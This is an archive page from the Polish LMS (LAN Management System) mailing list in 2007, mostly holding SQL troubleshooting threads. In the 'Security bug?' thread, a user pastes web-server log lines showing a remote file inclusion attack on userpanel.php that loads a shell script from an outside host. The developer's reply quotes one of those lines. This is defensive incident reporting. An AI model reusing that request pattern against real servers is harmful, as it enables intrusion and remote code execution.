- lms - lists.lms.org.pl

Re: [lms] Security bug?
by A.L.E.C 12 Kwi '07

12 Kwi '07

Jaroslaw Dziubek napisał(a): > h212-73-152-41.markovo.net - - [22/Mar/2007:22:40:07 +0100] "GET /modules/userpanel.php?CONFIG[directories][userpanel_dir]=http://syd.hit.bg/shell.txt? HTTP/ 1.1" 200 14412 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" > Zostało niedawno poprawione w wersji cvs, wyłącz natychmiast register_globals. -- Aleksander 'A.L.E.C' Machniak http://alec.pl gg:2275252 LAN Management System Developer http://lms.org.pl _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Security bug?
by Jaroslaw Dziubek 12 Kwi '07

12 Kwi '07

Wlasnie sobie przegladam drzewko LMS i co widze: -rw-r--r-- 1 http http 1372 2006-09-23 12:50 2.6.13_17_4_2011.sh -rw-r--r-- 1 http http 163230 2007-03-22 22:50 hlp.php -rw-r--r-- 1 http http 105639 2007-03-22 23:34 57.php -rw-r--r-- 1 http http 6356 2007-03-23 23:28 lol.php No wiec patrze w logi kto tu mi broi i widze: h212-73-152-41.markovo.net - - [22/Mar/2007:22:40:07 +0100] "GET /modules/userpanel.php?CONFIG[directories][userpanel_dir]=http://syd.hit.bg/shell.txt? HTTP/ 1.1" 200 14412 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" h212-73-152-41.markovo.net - - [22/Mar/2007:22:40:09 +0100] "GET /modules/userpanel.php?CONFIG%5Bdirectories%5D%5Buserpanel_dir%5D=http%3A%2F%2Fsyd.hit.bg%2F shell.txt%3F&act=img&img=home HTTP/1.1" 200 209 "https://lms.gosk.pl/modules/userpanel.php?CONFIG[directories][userpanel_dir…" " Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" h212-73-152-41.markovo.net - - [22/Mar/2007:22:40:10 +0100] "GET /modules/userpanel.php?CONFIG%5Bdirectories%5D%5Buserpanel_dir%5D=http%3A%2F%2Fsyd.hit.bg%2F shell.txt%3F&act=img&img=back HTTP/1.1" 200 119 "https://lms.gosk.pl/modules/userpanel.php?CONFIG[directories][userpanel_dir…" " Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" h212-73-152-41.markovo.net - - [22/Mar/2007:22:40:10 +0100] "GET /modules/userpanel.php?CONFIG%5Bdirectories%5D%5Buserpanel_dir%5D=http%3A%2F%2Fsyd.hit.bg%2F shell.txt%3F&act=img&img=forward HTTP/1.1" 200 119 "https://lms.gosk.pl/modules/userpanel.php?CONFIG[directories][userpanel_dir… " "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" h212-73-152-41.markovo.net - - [22/Mar/2007:22:40:10 +0100] "GET /modules/userpanel.php?CONFIG%5Bdirectories%5D%5Buserpanel_dir%5D=http%3A%2F%2Fsyd.hit.bg%2F shell.txt%3F&act=img&img=up HTTP/1.1" 200 199 "https://lms.gosk.pl/modules/userpanel.php?CONFIG[directories][userpanel_dir…" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" -- Yaro IRL:Jaroslaw Dziubek, ICQ:1340145 | Niewiele jest rzeczy, których http://yaro.perfect.net.pl/ | nie dało by się załatwić KNM Member: http://www.knm.org.pl/ | przy pomocy odpowiedniej IRC: Yaro na #grudziadz | dawki materiałów wybuchowych. _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] EtherWerX
by A.L.E.C 12 Kwi '07

12 Kwi '07

Bialy napisał(a): > Reszta > http://images21.fotosik.pl/165/c7fe36e83f3789b7med.jpg > > i tu wydaje sie byc wszystko ok > no ale skoro już są dane i zapytanie je zwraca prawidłowo, to już chyba tego samego błędu w logach nie powinno być, może jakiś inny? -- Aleksander 'A.L.E.C' Machniak http://alec.pl gg:2275252 LAN Management System Developer http://lms.org.pl _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] EtherWerX
by Bialy 12 Kwi '07

12 Kwi '07

A.L.E.C wrote: > tutaj wszystko ok, do kompletu podaj jeszcze > > SELECT * FROM tariffs; > SELECT a.customerid AS id, SUM(uprate) AS uprate, SUM(upceil) AS upceil, > SUM(downrate) AS downrate, SUM(downceil) AS downceil > FROM assignments a > LEFT JOIN tariffs ON (a.tariffid = tariffs.id) > WHERE EXISTS (SELECT 1 FROM nodeassignments JOIN nodes n ON (n.id = nodeid) > WHERE a.id = assignmentid AND n.access = 1) > GROUP BY a.customerid; > SELECT * FROM tariffs; http://images21.fotosik.pl/165/c4e82eefa5042592med.jpg Reszta http://images21.fotosik.pl/165/c7fe36e83f3789b7med.jpg i tu wydaje sie byc wszystko ok _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] statytyki
by Bialy 12 Kwi '07

12 Kwi '07

sebastianw wrote: > witam > > co moze byc powodem ze przestały byc robione wykresy statystyki sieci > > _______________________________________________ > lms mailing list > lms(a)lists.lms.org.pl > http://lists.lms.org.pl/mailman/listinfo/lms Byc moze wersja skryptu lms-traffic-logiptables (jesli z tego korzystasz). sam o to niedawno pytalem. w wersji 1.28 byl blad. spróbuj wersji 1.29 http://cvs.lms.org.pl/viewcvs.cgi/*checkout*/lms/bin/lms-traffic-logiptable… _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] EtherWerX
by A.L.E.C 12 Kwi '07

12 Kwi '07

Bialy napisał(a): > Zrzut danych tabeli nodeassignments > id nodeid assignmentid > 4 1 1 > 5 2 2 > 6 3 3 > > http://images22.fotosik.pl/95/07f279cb0b0fc0c5med.jpg > http://images21.fotosik.pl/165/6ca6824f5dc8e91cmed.jpg > http://images21.fotosik.pl/165/91629e882e4b2215med.jpg > tutaj wszystko ok, do kompletu podaj jeszcze SELECT * FROM tariffs; SELECT a.customerid AS id, SUM(uprate) AS uprate, SUM(upceil) AS upceil, SUM(downrate) AS downrate, SUM(downceil) AS downceil >FROM assignments a LEFT JOIN tariffs ON (a.tariffid = tariffs.id) WHERE EXISTS (SELECT 1 FROM nodeassignments JOIN nodes n ON (n.id = nodeid) WHERE a.id = assignmentid AND n.access = 1) GROUP BY a.customerid; -- Aleksander 'A.L.E.C' Machniak http://alec.pl gg:2275252 LAN Management System Developer http://lms.org.pl _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

statytyki
by sebastianw 12 Kwi '07

12 Kwi '07

witam co moze byc powodem ze przestały byc robione wykresy statystyki sieci _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] EtherWerX
by Bialy 12 Kwi '07

12 Kwi '07

A.L.E.C wrote: > Bialy napisał(a): >> no wiec sprawa wyglada tak. mysql jest w wersji 5.0.37. bledow z >> zapytaniem w logach nie zauwazylem. zrobilem sobie specjalna baze danych >> doi testow, w ktorej mam 3 klientow, 3 komputery (1 klient - 1 komp) i >> jedna taryfa przypisana kazdemu klientowi. w dalszym ciagu mam ten sam >> komunikat w logach, a na urzadzeniu sie nic nie zapisuje. >> > czy taryfy są przypisane do komputerów? > > SELECT * FROM nodeassignments; > SELECT * FROM nodes; > SELECT * FROM assignments; > SELECT * FROM customers; > SELECT * FROM nodeassignments; tu rzeczywiscie bylo pusto, bo w wersji 1.4.5 zdaje sie nie bylo takiej opcji. po uzupelnieniu nic sie nie zmienilo. Zrzut danych tabeli nodeassignments id nodeid assignmentid 4 1 1 5 2 2 6 3 3 http://images22.fotosik.pl/95/07f279cb0b0fc0c5med.jpg http://images21.fotosik.pl/165/6ca6824f5dc8e91cmed.jpg http://images21.fotosik.pl/165/91629e882e4b2215med.jpg _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] EtherWerX
by A.L.E.C 12 Kwi '07

12 Kwi '07

Bialy napisał(a): > no wiec sprawa wyglada tak. mysql jest w wersji 5.0.37. bledow z > zapytaniem w logach nie zauwazylem. zrobilem sobie specjalna baze danych > doi testow, w ktorej mam 3 klientow, 3 komputery (1 klient - 1 komp) i > jedna taryfa przypisana kazdemu klientowi. w dalszym ciagu mam ten sam > komunikat w logach, a na urzadzeniu sie nic nie zapisuje. > czy taryfy są przypisane do komputerów? SELECT * FROM nodeassignments; SELECT * FROM nodes; SELECT * FROM assignments; SELECT * FROM customers; -- Aleksander 'A.L.E.C' Machniak http://alec.pl gg:2275252 LAN Management System Developer http://lms.org.pl _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0

Re: [lms] EtherWerX
by Bialy 12 Kwi '07

12 Kwi '07

Bialy wrote: > A.L.E.C wrote: > >> Jeśli na pewno masz klientów z taryfami, to pewnie coś nie tak z >> zapytaniem sql. Zobacz czy nie masz w logach błędu sql. Jaką masz wersję > >> bazy danych? > > >> A, i jeszcze jedno, najbardziej prawdopodobne. Moduł wymaga powiązań taryf > > komputerami. aha, jesli moze to miec jakies znaczenie, to LMS byl upgrejdowany z wersji 1.4.5 do cvs _______________________________________________ lms mailing list lms(a)lists.lms.org.pl http://lists.lms.org.pl/mailman/listinfo/lms

1 0